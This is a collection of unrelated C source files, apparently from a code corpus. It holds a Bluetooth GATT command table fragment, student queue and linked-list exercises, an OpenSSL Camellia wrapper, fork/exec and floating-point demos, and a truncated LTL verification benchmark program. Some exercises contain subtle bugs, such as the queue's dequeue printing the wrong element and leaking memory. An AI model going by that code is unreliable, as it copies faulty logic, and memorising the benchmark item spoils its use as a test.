"bondclear\n\r", "Clear all bonded devices information\n\r", cmd_bondclear }, /************************** Central only *************************************/ { "scan", "scan [filter_policy] [filter_duplicate]\n\r", "Start scan\r\n\ [filter_policy]: 0-(any), 1-(whitelist), 2-(any RPA), 3-(whitelist RPA) \r\n\ [filter_duplicate]: 0-(disable), 1-(enable) \n\r", cmd_scan }, { "stopscan", "stopscan\n\r", "Stop scan\n\r", cmd_stopscan }, { "con", "con [BD0] [BD1] [BD2] [BD3] [BD4] [BD5] [addr_type]\n\r", "Connect to remote device: use address\r\n\ [BD0] [BD1] [BD2] [BD3] [BD4] [BD5]: remote device address\r\n\ [addr_type]: 0-(public), 1-(random)\r\n\ sample: con x11 x22 x33 x44 x55 x66 0 \n\r", cmd_con }, /************************** GATT client *************************************/ { "indconf", "indconf [conn_id]\n\r", "Send indication confimation\r\n\ sample: indconf 0\n\r", cmd_indconf }, { "write", "write [conn_id] [type] [handle] [length] [value0] [...]\n\r", "Write data to service\r\n\ [type]: write type: 1-(write request), 2-(write command)\r\n\ [handle]:attribute handle\r\n\ [length]:value length\r\n\ [value0]:overwrite the value0\r\n\ sample: write 0 1 x17 2 02 00\r\n\ sample: write 0 2 x19 10\n\r", cmd_write }, { "gsrvdis", "gsrvdis [conn_id]\n\r", "Discover all primary services\r\n\ sample: gsrvdis 0\n\r", cmd_gsrvdis }, { "srvuuid", "srvdis [conn_id] [type] [uuid]\n\r", "Discover services by uuid\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): srvuuid 0 1 0x00006287 0x3c17d293 0x8e4814fe 0x2e4da212\r\n\ sample(uuid16): srvuuid 0 0 0x1801\n\r", cmd_srvuuid }, { "chardis", "chardis [conn_id] [start handle] [end handle]\n\r", "Discover characteristic\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ sample: chardis 0 xc xff\n\r", cmd_chardis }, { "charuuid", "charuuid [conn_id] [start handle] [end handle] [type] [uuid]\n\r", "Discover characteristic by uuid\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): charuuid 0 x1 xffff 1 x00006387 x3c17d293 x8e4814fe x2e4da212\r\n\ sample(uuid16): charuuid 0 x1 xffff 0 xb001\n\r", cmd_charuuid }, { "charddis", "charddis [conn_id] [start handle] [end handle]\n\r", "Discover characteristic descriptor\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ sample: charddis 0 xc x14\n\r", cmd_charddis }, { "read", "read [conn_id] [handle]\n\r", "Read characteristic\r\n\ [handle]:attribute handle\r\n\ sample: read 0 x1b\n\r", cmd_read }, { "readu", "readu [conn_id] [start handle] [end handle] [type] [uuid]\n\r", "Read characterristic value by uuid\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): readu 0 x1 xffff 1 x00006387 x3c17d293 x8e4814fe x2e4da212\r\n\ sample(uuid16): readu 0 x1 xffff 0 0xb001\n\r", cmd_readu }, /* MUST be at the end: */ { 0, 0, 0, 0 } }; /** @} */ /* End of group CENTRAL_CLIENT_CMD */ #endif
the_stack_data/890707.c
#include <stdio.h> #include <stdlib.h> int menu(); struct node{ int a; struct node *next; }*head,*tail; int isempty(){ if(head==NULL) return 1; else return 0; } int isoneelement(){ if(head==tail) return 1; else return 0; } void enqueue(int ele){ struct node *new=(struct node*)malloc(sizeof(struct node)); new->a=ele; new->next=NULL; if(isempty()){ head=tail=new; //printf("%d\n",tail->a); } else{ tail->next=new; tail=new; //printf("%d\n",head->a); } } void dequeue(){ if(isempty()){ printf("queue is empty\n"); } else if(isoneelement()){ printf("deleted element is %d",head->a); head=tail=NULL; } else{ printf("deleted element is %d",tail->a); head=head->next; } } void display(){ if(isempty()) printf("empty queue\n"); else{ struct node*curr; curr=head; do{ printf("%d\n",curr->a); curr=curr->next; }while(curr!=NULL); //printf("%d\n",tail->a); } } int main(){ head=tail=NULL; int choice; char ch; do{ choice=menu(); switch(choice){ case 1: printf("enter the element you want to enter :"); int ele; scanf("%d",&ele); enqueue(ele); break; case 2: dequeue(); break; case 3: display(); break; } printf("\ndo you want to continue(y/n):"); scanf("%s",&ch); }while(ch=='y'); return 0; } int menu(){ int choice; printf("select the correct choice\n1)enqueue\n2)dequeue\n3)disply\nenter choice : "); scanf("%d",&choice); return choice; }
the_stack_data/179829669.c
/* crypto/camellia/camellia_ofb.c -*- mode:C; c-file-style: "eay" -*- */ /* ==================================================================== * Copyright (c) 2006 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * [email protected]. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * */ /* Copyright (C) 1995-1998 Eric Young ([email protected]) * All rights reserved. * * This package is an SSL implementation written * by Eric Young ([email protected]). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson ([email protected]). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young ([email protected])" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson ([email protected])" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ #include <openssl/camellia.h> #include <openssl/modes.h> /* * The input and output encrypted as though 128bit ofb mode is being used. * The extra state information to record how much of the 128bit block we have * used is contained in *num; */ void Camellia_ofb128_encrypt(const unsigned char *in, unsigned char *out, size_t length, const CAMELLIA_KEY *key, unsigned char *ivec, int *num) { CRYPTO_ofb128_encrypt(in, out, length, key, ivec, num, (block128_f) Camellia_encrypt); }
the_stack_data/464948.c
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(){ pid_t pid; if((pid = fork()) > 0){ printf("pid no : %d",getpid()); execlp("ls","ls","-l",(char *) 0); }else if( pid < 0 ){ printf("Fork duzgun calismadi\n"); return(34); }else if(pid == 0){ printf("child process no : %d\n",getpid()); execlp("date","date",(char *) 0); } }
the_stack_data/37636971.c
#include <stdlib.h> #include <stdio.h> #include <unistd.h> static void show_pointer(void *p, char *descr) { // printf("Pointer for %s at %p\n", descr, p); printf("%s\t%p\t%lu\n", descr, p, (unsigned long) p); } int global = 0; int useless() { return 0; } int main () { void *p1, *p2, *p3, *p4; int local = 0; void *p = malloc(100); show_pointer((void *) &local, "local"); show_pointer((void *) &global, "global"); show_pointer((void *) p, "heap"); show_pointer((void *) useless, "code"); return 0; }
the_stack_data/184453.c
#include<time.h> void waitFor(float timer) { clock_t initialTime; initialTime = clock(); while(clock() - initialTime < timer); }
the_stack_data/11075267.c
/* ysoftman 참고로 IEEE 표준 부동(뜰 부, 움질일 동)소수점을 사용하는 이유는 한정된 저장공간에서 소수점 위치를 나타내는 지수값만 변경하면 일반 고정 소수점 방식보다 더 넖은 값을 표현할 수 있기 때문이다. 예) 32bit 저장공간에서 3.1415926535 를 저장하려고 할때 고정 소수점 : 부호비트1,자연수비트15(3표현),소수점16비트(2^16=65535 .14159까지밖에 표현못한다.) 부동 소수점 : 부호비트1,지수8비트(-6표현),가수비트23비트(2^23=8388608 3141592 까지 표현) 하고 지수값에 따라 3.141592 소수점 위치값만 변경해서 3.141592 31.41592 314.1592 등의 값을 저장할 수 있게 된다. 소수점이 있는 실수는 2진수로 바꾸는 과정에서 오차가 발생한다. 오차 발생 원인은 실수를 저장할때 소수점 아래는 2진수로 정확히 표현할 수 없기 때문이다. 예) 10.1 정수부분:10 -> 2진수 -> 1010 로 문제없이 계산 할 수 있다. 2 10 2 5 - 0 2 2 - 1 1 - 0 소수점이하 부분 0.1 -> 2진수 -> 0.001100110011... 으로 문제가 된다. 0.1 * 2 = 0.4 - 정수부분 0 0.4 * 2 = 0.8 - 정수부분 0 0.8 * 2 = 1.6 - 정수부분 1 0.6 * 2 = 1.2 - 정수부분 1 0.2 * 2 = 0.4 - 정수부분 0 0.4 * 2 = 0.8 - 정수부분 0 0.8 * 2 = 1.6 - 정수부분 1 0.6 * 2 = 1.2 - 정수부분 1 ... 무한 반복 참고로 0.5, 0.625 등은 무한 반복되지 않아 제대로 2진수 표현이 가능해서 문제 없다. 0.5 * 2 = 1.0 - 1 끝 0.5 = 0.1 0.01 10진수로 바꾸면: 1*2^-1 = 1*0.5 = 0.5 0.0625 * 2 = 0.125 - 정수부분 0 0.125 * 2 = 0.25 - 정수부분 0 0.25 * 2 = 0.5 - 정수부분 0 0.5 * 2 = 1.0 - 정수부분 1 끝 0.0625 = 0.0001 0.0001 10진수로 바꾸면: 0*2^-1 + 0*2^-2 + 0*2^-3 + 0*2^-4 = 0*0.5 + 0*0.25 + 0*0.125 + 1*0.0625 = 0.0625 float 보다는 double 이 크기 때문에 오차가 적다. 하지만 double 도 아주 정밀하게 들어가면 오차가 여전히 발생한다. 때문에 아주 정밀한 계산이 필요할 때는 새로운 타입을 생성해야 한다. 만약 그냥 float 나 double 을 사용할 경우 항상 오차범위를 고려해야 한다. */ #include <stdio.h> int main() { float fpi = 3.1415926535897932384626433832795; printf("float size = %ld\n", sizeof(float)); // 3.141592 까지만 정확하다. printf("float pi=%e\n", fpi); printf("float pi=%.20f\n", fpi); double dpi = 3.1415926535897932384626433832795; // 3.141592653589793 까지만 정확하다. printf("double size = %ld\n", sizeof(double)); printf("double pi=%e\n", dpi); printf("double pi=%.20f\n", dpi); int i = 0; // float(4byte 실수표현) 타입을 사용할때 float floatSum = 0; // 0.1을 10 번 더하면 1 이 될까? floatSum = 0; for (i = 0; i < 10; i++) floatSum += (float)0.1; printf("0.1 += ... floatSum = %f\n", floatSum); // 0.1을 100 번 더하면 10 이 될까?(오차 발생) floatSum = 0; for (i = 0; i < 100; i++) floatSum += (float)0.1; printf("0.1 += ... floatSum = %f\n", floatSum); // 0.1을 1000 번 더하면 100 이 될까?(오차 발생) floatSum = 0; for (i = 0; i < 1000; i++) floatSum += (float)0.1; printf("0.1 += ... floatSum = %f\n", floatSum); // double(8byte 실수표현) 타입을 사용할때 double doubleSum = 0; // 0.1을 10 번 더하면 1 이 될까? doubleSum = 0; for (i = 0; i < 10; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 100 번 더하면 10 이 될까? doubleSum = 0; for (i = 0; i < 100; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 1000 번 더하면 100 이 될까? doubleSum = 0; for (i = 0; i < 1000; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 10000 번 더하면 1000 이 될까? doubleSum = 0; for (i = 0; i < 10000; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 100000 번 더하면 10000 이 될까? doubleSum = 0; for (i = 0; i < 100000; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 1000000 번 더하면 100000 이 될까?(오차발생) doubleSum = 0; for (i = 0; i < 1000000; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.1을 10000000 번 더하면 1000000 이 될까?(오차발생) doubleSum = 0; for (i = 0; i < 10000000; i++) doubleSum += 0.1; printf("0.1 += ... doubleSum = %f\n", doubleSum); // 0.5을 10000000 번 더하면 1000000 이 될까?(0.5는 오차 없이 된다.) doubleSum = 0; for (i = 0; i < 20000000; i++) doubleSum += 0.5; printf("0.5 += ... doubleSum = %f\n", doubleSum); return 0; }
the_stack_data/870241.c
#include <stdio.h> #include <stdlib.h> //typedef allows us to not say "struct" every time we declare a node typedef struct node { int val; struct node * next; } Node; int main() { Node * head = NULL; //To keep track of the current node Node * curr = NULL; int currval; // To store the number of nodes in the Linked List int nodes = 0; printf("Positive input for allocation of nodes and negative input integrers to terminate\n"); scanf("%d", & currval); if (currval >= 0) { nodes++; head = malloc(sizeof(Node)); if (head == NULL) { printf("ERROR: Could not allocate space for head!"); return 1; } head -> val = currval; head -> next = NULL; curr = head; scanf("%d", & currval); while (currval >= 0) { nodes++; curr -> next = malloc(sizeof(Node)); curr -> next -> val = currval; curr -> next -> next = NULL; curr = curr -> next; scanf("%d", & currval); } } if (nodes % 2 != 0) { printf("Odd number of nodes entered. Program will not execute further\n"); exit(0); } // Stores the first half of the Linked list Node * first = NULL; // Stores address of Head node of First half Node * firstHead = NULL; // Stores the remaining half of the Linked list Node * second = NULL; // Stores address of Head node of Second half Node * secondHead = NULL; int mid = (int) nodes / 2; // Initializing the two halves of the linked list first = malloc(sizeof(Node)); first -> val = -1; first -> next = NULL; firstHead = first; second = malloc(sizeof(Node)); second -> val = -2; second -> next = NULL; secondHead = second; // Separating the two halves of the linked List curr = head; for (int i = 0; curr != NULL; i++) { if (i < mid) { // For the first half first -> val = curr -> val; if (curr -> next != NULL && i + 1 < mid) { first -> next = malloc(sizeof(Node)); first = first -> next; } else first -> next = NULL; } else { // For the second half second -> val = curr -> val; second -> next = malloc(sizeof(Node)); if (curr -> next != NULL) { second = second -> next; } else second -> next = NULL; } curr = curr -> next; } first = firstHead; second = secondHead; // Reversing the second linked List and storing the nodes in a new linked list Node * prev = NULL; for (; second != NULL; second = second -> next) { Node * temp = (Node * ) malloc(sizeof(Node)); temp -> val = second -> val; temp -> next = prev; prev = temp; } // Overwriting the nodes of original linked list with the values of first half and reverse of second half curr = head; for (int i = 0; i < mid; i++) { // mid is the size of both halves curr -> val = first -> val; first = first -> next; curr = curr -> next; curr -> val = prev -> val; prev = prev -> next; curr = curr -> next; } curr = head; while (curr != NULL) { //Traverse the linked list printf("%d\n", curr -> val); curr = curr -> next; } return 0; }
the_stack_data/245970.c
//@ ltl invariant negative: (<> (AP(x_13 - x_0 >= 4) R (X AP(x_4 - x_13 >= 0)))); float x_0; float x_1; float x_2; float x_3; float x_4; float x_5; float x_6; float x_7; float x_8; float x_9; float x_10; float x_11; float x_12; float x_13; float x_14; float x_15; int main() { float x_0_; float x_1_; float x_2_; float x_3_; float x_4_; float x_5_; float x_6_; float x_7_; float x_8_; float x_9_; float x_10_; float x_11_; float x_12_; float x_13_; float x_14_; float x_15_; while(1) { x_0_ = ((((2.0 + x_0) > (11.0 + x_7)? (2.0 + x_0) : (11.0 + x_7)) > ((18.0 + x_8) > (4.0 + x_10)? (18.0 + x_8) : (4.0 + x_10))? ((2.0 + x_0) > (11.0 + x_7)? (2.0 + x_0) : (11.0 + x_7)) : ((18.0 + x_8) > (4.0 + x_10)? (18.0 + x_8) : (4.0 + x_10))) > (((14.0 + x_11) > (5.0 + x_12)? (14.0 + x_11) : (5.0 + x_12)) > ((5.0 + x_13) > (18.0 + x_15)? (5.0 + x_13) : (18.0 + x_15))? ((14.0 + x_11) > (5.0 + x_12)? (14.0 + x_11) : (5.0 + x_12)) : ((5.0 + x_13) > (18.0 + x_15)? (5.0 + x_13) : (18.0 + x_15)))? (((2.0 + x_0) > (11.0 + x_7)? (2.0 + x_0) : (11.0 + x_7)) > ((18.0 + x_8) > (4.0 + x_10)? (18.0 + x_8) : (4.0 + x_10))? ((2.0 + x_0) > (11.0 + x_7)? (2.0 + x_0) : (11.0 + x_7)) : ((18.0 + x_8) > (4.0 + x_10)? (18.0 + x_8) : (4.0 + x_10))) : (((14.0 + x_11) > (5.0 + x_12)? (14.0 + x_11) : (5.0 + x_12)) > ((5.0 + x_13) > (18.0 + x_15)? (5.0 + x_13) : (18.0 + x_15))? ((14.0 + x_11) > (5.0 + x_12)? (14.0 + x_11) : (5.0 + x_12)) : ((5.0 + x_13) > (18.0 + x_15)? (5.0 + x_13) : (18.0 + x_15)))); x_1_ = ((((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((9.0 + x_2) > (12.0 + x_5)? (9.0 + x_2) : (12.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((9.0 + x_2) > (12.0 + x_5)? (9.0 + x_2) : (12.0 + x_5))) > (((20.0 + x_8) > (11.0 + x_9)? (20.0 + x_8) : (11.0 + x_9)) > ((1.0 + x_12) > (6.0 + x_13)? (1.0 + x_12) : (6.0 + x_13))? ((20.0 + x_8) > (11.0 + x_9)? (20.0 + x_8) : (11.0 + x_9)) : ((1.0 + x_12) > (6.0 + x_13)? (1.0 + x_12) : (6.0 + x_13)))? (((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((9.0 + x_2) > (12.0 + x_5)? (9.0 + x_2) : (12.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((9.0 + x_2) > (12.0 + x_5)? (9.0 + x_2) : (12.0 + x_5))) : (((20.0 + x_8) > (11.0 + x_9)? (20.0 + x_8) : (11.0 + x_9)) > ((1.0 + x_12) > (6.0 + x_13)? (1.0 + x_12) : (6.0 + x_13))? ((20.0 + x_8) > (11.0 + x_9)? (20.0 + x_8) : (11.0 + x_9)) : ((1.0 + x_12) > (6.0 + x_13)? (1.0 + x_12) : (6.0 + x_13)))); x_2_ = ((((18.0 + x_0) > (15.0 + x_1)? (18.0 + x_0) : (15.0 + x_1)) > ((1.0 + x_3) > (6.0 + x_6)? (1.0 + x_3) : (6.0 + x_6))? ((18.0 + x_0) > (15.0 + x_1)? (18.0 + x_0) : (15.0 + x_1)) : ((1.0 + x_3) > (6.0 + x_6)? (1.0 + x_3) : (6.0 + x_6))) > (((8.0 + x_7) > (15.0 + x_8)? (8.0 + x_7) : (15.0 + x_8)) > ((13.0 + x_9) > (5.0 + x_14)? (13.0 + x_9) : (5.0 + x_14))? ((8.0 + x_7) > (15.0 + x_8)? (8.0 + x_7) : (15.0 + x_8)) : ((13.0 + x_9) > (5.0 + x_14)? (13.0 + x_9) : (5.0 + x_14)))? (((18.0 + x_0) > (15.0 + x_1)? (18.0 + x_0) : (15.0 + x_1)) > ((1.0 + x_3) > (6.0 + x_6)? (1.0 + x_3) : (6.0 + x_6))? ((18.0 + x_0) > (15.0 + x_1)? (18.0 + x_0) : (15.0 + x_1)) : ((1.0 + x_3) > (6.0 + x_6)? (1.0 + x_3) : (6.0 + x_6))) : (((8.0 + x_7) > (15.0 + x_8)? (8.0 + x_7) : (15.0 + x_8)) > ((13.0 + x_9) > (5.0 + x_14)? (13.0 + x_9) : (5.0 + x_14))? ((8.0 + x_7) > (15.0 + x_8)? (8.0 + x_7) : (15.0 + x_8)) : ((13.0 + x_9) > (5.0 + x_14)? (13.0 + x_9) : (5.0 + x_14)))); x_3_ = ((((2.0 + x_0) > (15.0 + x_1)? (2.0 + x_0) : (15.0 + x_1)) > ((19.0 + x_4) > (5.0 + x_6)? (19.0 + x_4) : (5.0 + x_6))? ((2.0 + x_0) > (15.0 + x_1)? (2.0 + x_0) : (15.0 + x_1)) : ((19.0 + x_4) > (5.0 + x_6)? (19.0 + x_4) : (5.0 + x_6))) > (((18.0 + x_7) > (18.0 + x_10)? (18.0 + x_7) : (18.0 + x_10)) > ((13.0 + x_13) > (18.0 + x_15)? (13.0 + x_13) : (18.0 + x_15))? ((18.0 + x_7) > (18.0 + x_10)? (18.0 + x_7) : (18.0 + x_10)) : ((13.0 + x_13) > (18.0 + x_15)? (13.0 + x_13) : (18.0 + x_15)))? (((2.0 + x_0) > (15.0 + x_1)? (2.0 + x_0) : (15.0 + x_1)) > ((19.0 + x_4) > (5.0 + x_6)? (19.0 + x_4) : (5.0 + x_6))? ((2.0 + x_0) > (15.0 + x_1)? (2.0 + x_0) : (15.0 + x_1)) : ((19.0 + x_4) > (5.0 + x_6)? (19.0 + x_4) : (5.0 + x_6))) : (((18.0 + x_7) > (18.0 + x_10)? (18.0 + x_7) : (18.0 + x_10)) > ((13.0 + x_13) > (18.0 + x_15)? (13.0 + x_13) : (18.0 + x_15))? ((18.0 + x_7) > (18.0 + x_10)? (18.0 + x_7) : (18.0 + x_10)) : ((13.0 + x_13) > (18.0 + x_15)? (13.0 + x_13) : (18.0 + x_15)))); x_4_ = ((((5.0 + x_0) > (15.0 + x_3)? (5.0 + x_0) : (15.0 + x_3)) > ((16.0 + x_5) > (19.0 + x_6)? (16.0 + x_5) : (19.0 + x_6))? ((5.0 + x_0) > (15.0 + x_3)? (5.0 + x_0) : (15.0 + x_3)) : ((16.0 + x_5) > (19.0 + x_6)? (16.0 + x_5) : (19.0 + x_6))) > (((12.0 + x_7) > (14.0 + x_10)? (12.0 + x_7) : (14.0 + x_10)) > ((13.0 + x_11) > (11.0 + x_15)? (13.0 + x_11) : (11.0 + x_15))? ((12.0 + x_7) > (14.0 + x_10)? (12.0 + x_7) : (14.0 + x_10)) : ((13.0 + x_11) > (11.0 + x_15)? (13.0 + x_11) : (11.0 + x_15)))? (((5.0 + x_0) > (15.0 + x_3)? (5.0 + x_0) : (15.0 + x_3)) > ((16.0 + x_5) > (19.0 + x_6)? (16.0 + x_5) : (19.0 + x_6))? ((5.0 + x_0) > (15.0 + x_3)? (5.0 + x_0) : (15.0 + x_3)) : ((16.0 + x_5) > (19.0 + x_6)? (16.0 + x_5) : (19.0 + x_6))) : (((12.0 + x_7) > (14.0 + x_10)? (12.0 + x_7) : (14.0 + x_10)) > ((13.0 + x_11) > (11.0 + x_15)? (13.0 + x_11) : (11.0 + x_15))? ((12.0 + x_7) > (14.0 + x_10)? (12.0 + x_7) : (14.0 + x_10)) : ((13.0 + x_11) > (11.0 + x_15)? (13.0 + x_11) : (11.0 + x_15)))); x_5_ = ((((5.0 + x_3) > (2.0 + x_4)? (5.0 + x_3) : (2.0 + x_4)) > ((6.0 + x_6) > (11.0 + x_8)? (6.0 + x_6) : (11.0 + x_8))? ((5.0 + x_3) > (2.0 + x_4)? (5.0 + x_3) : (2.0 + x_4)) : ((6.0 + x_6) > (11.0 + x_8)? (6.0 + x_6) : (11.0 + x_8))) > (((1.0 + x_9) > (12.0 + x_10)? (1.0 + x_9) : (12.0 + x_10)) > ((6.0 + x_13) > (13.0 + x_15)? (6.0 + x_13) : (13.0 + x_15))? ((1.0 + x_9) > (12.0 + x_10)? (1.0 + x_9) : (12.0 + x_10)) : ((6.0 + x_13) > (13.0 + x_15)? (6.0 + x_13) : (13.0 + x_15)))? (((5.0 + x_3) > (2.0 + x_4)? (5.0 + x_3) : (2.0 + x_4)) > ((6.0 + x_6) > (11.0 + x_8)? (6.0 + x_6) : (11.0 + x_8))? ((5.0 + x_3) > (2.0 + x_4)? (5.0 + x_3) : (2.0 + x_4)) : ((6.0 + x_6) > (11.0 + x_8)? (6.0 + x_6) : (11.0 + x_8))) : (((1.0 + x_9) > (12.0 + x_10)? (1.0 + x_9) : (12.0 + x_10)) > ((6.0 + x_13) > (13.0 + x_15)? (6.0 + x_13) : (13.0 + x_15))? ((1.0 + x_9) > (12.0 + x_10)? (1.0 + x_9) : (12.0 + x_10)) : ((6.0 + x_13) > (13.0 + x_15)? (6.0 + x_13) : (13.0 + x_15)))); x_6_ = ((((20.0 + x_3) > (3.0 + x_4)? (20.0 + x_3) : (3.0 + x_4)) > ((18.0 + x_5) > (7.0 + x_8)? (18.0 + x_5) : (7.0 + x_8))? ((20.0 + x_3) > (3.0 + x_4)? (20.0 + x_3) : (3.0 + x_4)) : ((18.0 + x_5) > (7.0 + x_8)? (18.0 + x_5) : (7.0 + x_8))) > (((16.0 + x_10) > (4.0 + x_11)? (16.0 + x_10) : (4.0 + x_11)) > ((14.0 + x_13) > (4.0 + x_14)? (14.0 + x_13) : (4.0 + x_14))? ((16.0 + x_10) > (4.0 + x_11)? (16.0 + x_10) : (4.0 + x_11)) : ((14.0 + x_13) > (4.0 + x_14)? (14.0 + x_13) : (4.0 + x_14)))? (((20.0 + x_3) > (3.0 + x_4)? (20.0 + x_3) : (3.0 + x_4)) > ((18.0 + x_5) > (7.0 + x_8)? (18.0 + x_5) : (7.0 + x_8))? ((20.0 + x_3) > (3.0 + x_4)? (20.0 + x_3) : (3.0 + x_4)) : ((18.0 + x_5) > (7.0 + x_8)? (18.0 + x_5) : (7.0 + x_8))) : (((16.0 + x_10) > (4.0 + x_11)? (16.0 + x_10) : (4.0 + x_11)) > ((14.0 + x_13) > (4.0 + x_14)? (14.0 + x_13) : (4.0 + x_14))? ((16.0 + x_10) > (4.0 + x_11)? (16.0 + x_10) : (4.0 + x_11)) : ((14.0 + x_13) > (4.0 + x_14)? (14.0 + x_13) : (4.0 + x_14)))); x_7_ = ((((6.0 + x_3) > (11.0 + x_4)? (6.0 + x_3) : (11.0 + x_4)) > ((3.0 + x_6) > (20.0 + x_7)? (3.0 + x_6) : (20.0 + x_7))? ((6.0 + x_3) > (11.0 + x_4)? (6.0 + x_3) : (11.0 + x_4)) : ((3.0 + x_6) > (20.0 + x_7)? (3.0 + x_6) : (20.0 + x_7))) > (((15.0 + x_10) > (20.0 + x_13)? (15.0 + x_10) : (20.0 + x_13)) > ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15))? ((15.0 + x_10) > (20.0 + x_13)? (15.0 + x_10) : (20.0 + x_13)) : ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)))? (((6.0 + x_3) > (11.0 + x_4)? (6.0 + x_3) : (11.0 + x_4)) > ((3.0 + x_6) > (20.0 + x_7)? (3.0 + x_6) : (20.0 + x_7))? ((6.0 + x_3) > (11.0 + x_4)? (6.0 + x_3) : (11.0 + x_4)) : ((3.0 + x_6) > (20.0 + x_7)? (3.0 + x_6) : (20.0 + x_7))) : (((15.0 + x_10) > (20.0 + x_13)? (15.0 + x_10) : (20.0 + x_13)) > ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15))? ((15.0 + x_10) > (20.0 + x_13)? (15.0 + x_10) : (20.0 + x_13)) : ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)))); x_8_ = ((((16.0 + x_0) > (4.0 + x_2)? (16.0 + x_0) : 